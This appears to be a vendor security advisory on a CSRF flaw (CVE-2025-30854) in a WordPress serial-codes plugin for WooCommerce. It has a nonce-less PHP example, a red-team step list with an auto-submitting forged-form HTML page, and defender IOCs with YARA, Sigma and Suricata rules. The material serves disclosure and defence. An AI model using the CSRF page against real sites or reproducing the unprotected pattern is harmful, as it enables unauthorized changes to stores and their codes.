CVE-2025-30854

Executive Summary

CVE-2025-30854 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin Serial Codes Generator and Validator with WooCommerce Support by Vollstart. This flaw allows an attacker to forge requests on behalf of an authenticated administrator, potentially leading to unauthorized configuration changes, serial code generation, or validation logic tampering. The vulnerability affects all versions up to and including 2.7.7. No public proof-of-concept (PoC) or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, given the plugin’s integration with WooCommerce, the impact on e-commerce operations could be significant if exploited.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel and apply any security patches immediately upon release. Since no patch is currently available, temporary mitigations such as disabling the plugin or implementing a Web Application Firewall (WAF) rule are recommended.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click a malicious link or visit a crafted page.
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – attacker can modify plugin settings or generate/validate serial codes.
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the potential for abuse in an e-commerce context (e.g., generating fraudulent serial codes) elevates the risk for WooCommerce stores.

Deep Dive & Mechanics

The vulnerability stems from the plugin’s failure to implement CSRF tokens (nonces) in its administrative actions. In WordPress, CSRF protection is typically enforced via wp_nonce_field() and check_admin_referer() functions. The serial-codes-generator-and-validator plugin likely processes form submissions (e.g., generating new serial codes, updating validation rules, or modifying plugin settings) without verifying the request’s origin.

An attacker can craft a malicious HTML page that, when visited by an authenticated administrator, submits a forged request to the WordPress admin area. For example, the attacker could:

• Generate a large number of serial codes, depleting the pool.
• Change validation rules to accept invalid codes.
• Disable the plugin entirely.

Since the plugin integrates with WooCommerce, an attacker could also manipulate serial codes tied to product purchases, potentially enabling unauthorized access to digital goods or services.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.7.7): The plugin likely processes admin actions without nonce verification. Example vulnerable pattern:

// In admin.php or similar
if ( isset($_POST['generate_serial']) ) {
    // No nonce check
    $codes = generate_serial_codes($_POST['count']);
    // Save codes to database
}

Patched Code (Hypothetical): A patch would add nonce verification:

if ( isset($_POST['generate_serial']) && check_admin_referer('serial_codes_action', 'serial_codes_nonce') ) {
    $codes = generate_serial_codes($_POST['count']);
    // Save codes to database
}

Since no official patch is available, users must rely on the above hypothetical fix or implement a WAF rule.

Exploitation & Lab Setup

Red Team (Attacker)

1. Setup: Create a malicious HTML page that auto-submits a form to the WordPress admin URL.
2. Craft Payload: Target the plugin’s admin action (e.g., wp-admin/admin.php?page=serial-codes-generator).
3. Deliver: Send the link to an authenticated admin via email or social engineering.
4. Execute: The admin’s browser submits the forged request, triggering the action.

Example Malicious HTML:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin.php?page=serial-codes-generator" method="POST" id="csrf_form">
  <input type="hidden" name="action" value="generate_serial">
  <input type="hidden" name="count" value="1000">
  <input type="submit" value="Click me">
</form>
<script>document.getElementById('csrf_form').submit();</script>
</body>
</html>

Blue Team (Defender)

1. Monitor Logs: Check WordPress admin access logs for unusual POST requests to plugin pages.
2. WAF Rule: Block requests to wp-admin/admin.php?page=serial-codes-generator that lack a valid nonce.
3. User Training: Educate admins to avoid clicking suspicious links while logged into WordPress.

Indicators of Compromise (IOCs)

• Network: Unusual POST requests to /wp-admin/admin.php?page=serial-codes-generator from external IPs.
• Logs: Multiple failed nonce checks in WordPress debug logs.
• Database: Unexpected serial codes in the wp_serial_codes table (or similar).
• File: Presence of malicious HTML files on the server (e.g., csrf.html).

Detection Engineering

YARA Rule

rule CVE_2025_30854_CSRF {
    meta:
        description = "Detects CSRF exploitation attempts against Serial Codes Generator plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-30854"
    strings:
        $admin_page = "admin.php?page=serial-codes-generator"
        $post_action = "action=generate_serial"
        $post_count = "count="
    condition:
        all of them
}

Sigma Rule

title: CSRF Exploitation Attempt Against Serial Codes Generator
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to the vulnerable plugin admin page without a valid nonce
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin.php?page=serial-codes-generator'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-30854 CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"admin.php?page=serial-codes-generator"; http_uri; content:"action=generate_serial"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the plugin until a patch is released.
2. Short-term: Implement a WAF rule to block POST requests to the plugin’s admin page without a valid nonce.
3. Long-term: Apply the official patch from Vollstart when available, or manually add nonce verification to the plugin’s admin actions.
4. Monitoring: Enable WordPress debug logging and monitor for CSRF-related errors.
5. User Education: Train administrators to recognize phishing attempts and avoid clicking suspicious links while logged in.

Valters IT
Securing Digital Frontiers